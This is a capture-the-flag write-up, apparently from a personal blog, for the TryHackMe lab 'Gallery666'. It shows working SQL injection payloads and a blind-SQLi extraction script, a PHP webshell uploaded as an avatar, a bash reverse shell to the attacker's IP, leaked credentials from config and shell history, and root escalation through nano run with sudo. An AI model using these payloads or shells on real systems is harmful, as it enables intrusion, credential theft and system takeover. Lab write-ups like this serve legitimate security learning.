[TryHackMe] Gallery666

[TryHackMe] Gallery666

https://tryhackme.com/room/gallery666

·

5 min read

Try to exploit our image gallery system

Footprinting

Open ports

Scanning open ports via Nmap:

$ sudo nmap -v10 -sS -Pn -p- -v10 -oA syn_full 10.10.208.1
Discovered open port 8080/tcp on 10.10.208.1
Discovered open port 80/tcp on 10.10.208.1
$ sudo nmap -v10 -sC -sV -Pn -p8080,80 -v10 -oA syn_full 10.10.208.1
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
8080/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Simple Image Gallery System
|_http-favicon: Unknown favicon MD5: EBF01C3CDE17CAD6EBDEB0888D9F0927

2 Apache HTTP servers only are opened on ports 80 and 8080.

HTTP

SQL injection

On port 8080, the login page dicloses the SQL request to sign-in:

>>>
POST /gallery/classes/Login.php?f=login HTTP/1.1
Host: 10.10.208.1
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q

username=admin&password=password

<<<
{"status":"incorrect","last_qry":"SELECT * from users where username = 'admin' and password = md5('password') "}

Then, we can try to login using a basic SQL injection:

>>>
POST /gallery/classes/Login.php?f=login HTTP/1.1
Host: 10.10.208.1
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q

username=admin'+OR+'1'='1&password=a

<<<
{"status":"success"}

The challenge asks for the admin's hashed password. We can use the following comparisons in the username parameter:

username=admin' AND BINARY(SUBSTR(password,1,1))='A'#
username=admin' AND BINARY(SUBSTR(password,1,1))='B'#
...
username=admin' AND BINARY(SUBSTR(password,2,1))='A'#
...

This is a boolean-based SQL injection, where each character of the column password, for the username admin, is compared with all hexadecimal characters.

Here's the python script I used:

#!/usr/bin/python3
import requests
import string

if __name__=="__main__":
    url = "http://10.10.208.1/gallery/classes/Login.php?f=login"
    charset = string.hexdigits
    flag = ""
    n = 32
    for i in range(1, n):
        for char in charset:
            data = {"username": f"admin' AND BINARY(SUBSTR(password,{i},1))='{char}'#", "password":"password"}
            req = requests.post(url=url, data=data, proxies={'http':'http://127.0.0.1:8080'})
            #import pdb;pdb.set_trace()
            if "success" in req.text:
                flag += char
                print(f"[+] Flag: {flag}")
                break
            elif char == charset[-1]:
                print("[-] Nothing found. Exiting...")
                exit()

The hash is a228b12a08b6527e7978cbe5d914531.

Avatar webshell

In the user's personal page, it is possible to update an avatar image with a php webshell:

>>>
POST /gallery/classes/Users.php?f=save HTTP/1.1
Host: 10.10.208.1
Content-Type: multipart/form-data; boundary=---------------------------3463458212586082000598538607
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q

-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="id"

1
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="firstname"

Adminstrator
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="lastname"

Admin
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="username"

admin
-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="password"


-----------------------------3463458212586082000598538607
Content-Disposition: form-data; name="img"; filename="j4mshell.php"
Content-Type: application/x-php

‰PNG

<?php system($_REQUEST["c"])?>


-----------------------------3463458212586082000598538607--

Indeed, the php extension is not filtered (j4mshell.php), neither the MIME-Type (application/x-php). Therefore, we got an RCE :-]

>>>
GET /gallery/uploads/1644666780_j4mshell.php?c=whoami HTTP/1.1
Host: 10.10.208.1
Cookie: PHPSESSID=la0fbcjc3fiur25mvntmr0610q

<<<
www-data

Thus, we can use a reverse shell to get an interactive command line interface:

$ nc -nlvp 48590
listening on [any] 48590 .
>>>
GET /gallery/uploads/1644666780_j4mshell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.17.8.104/48590+0>%261' HTTP/1.1
Host: 10.10.208.1

<<<
..
connect to [10.17.8.104] from (UNKNOWN) [10.10.208.1] 51204
bash: cannot set terminal process group (733): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gallery:/var/www/html/gallery/uploads$

By the way, the Wordpress configurations disclose the credentials of the DB user gallery_user:

www-data@gallery:/var/www/html/gallery/uploads$ cat /var/www/html/gallery/initialize.php
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");

However, the password seems useless.

Local privilege escalation

user.txt

We cannot read the user flag directly:

$ ls -la /home/mike
drwx------ 2 mike mike 4096 May 24  2021 documents
drwx------ 2 mike mike 4096 May 24  2021 images
-rwx------ 1 mike mike   32 May 14  2021 user.txt

As we can see, no user, other than mike, can read user.txt. Looking for mike's files, we see an interesting backup folder:

$ find / -iname "*mike*" -print 2>/dev/null
/var/backups/mike_home_backup

A file contains some accounts:

$ cat /var/backups/mike_home_backup/documents/accounts.txt
Spotify : mike@gmail.com:mycat666
Netflix : mike@gmail.com:123456789pass
TryHackme: mike:darkhacker123

But these passwords doesn't work :/ However, we see a readable .bash_history !

$ cat /var/backups/mike_home_backup/.bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit

mike ran sudo -l to list the privileged commands he has access to. After that, a prompt asked him to enter his password, which got logged in the history. mike's password is b3stpassw0rdbr0xx !

$ su mike
Password: b3stpassw0rdbr0xx

mike@gallery:/var/backups/mike_home_backup$

The user flag is :-]

mike@gallery:/home/mike$ cat user.txt
THM{af[...]ef}

root.txt

Knowing mike's password, we can check if he has any privileges on specific commands:

$ sudo -l
Matching Defaults entries for mike on gallery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

He can run rootkit.sh as root without knowing his password:

$ cat /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

Among the 4 options, the one executing nano is interesting as we can escalate our privilege and spawn a shell (GTFOBins). However, in order to execute that read option, I first had to stabilize my reverse shell:

^Z
stty -a | grep -E "rows|columns"
stty raw -echo; fg; fg
> #PRESS ENTER
> export SHELL=bash && export TERM=xterm && stty rows 29 columns 236

Then, with the read option, /bin/nano is opened as root, from which we can escalate:

^R^X
reset; sh 1>&0 2>&0

# cat /root/root.txt
THM{ba[...]87}

Thanks for reading !

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!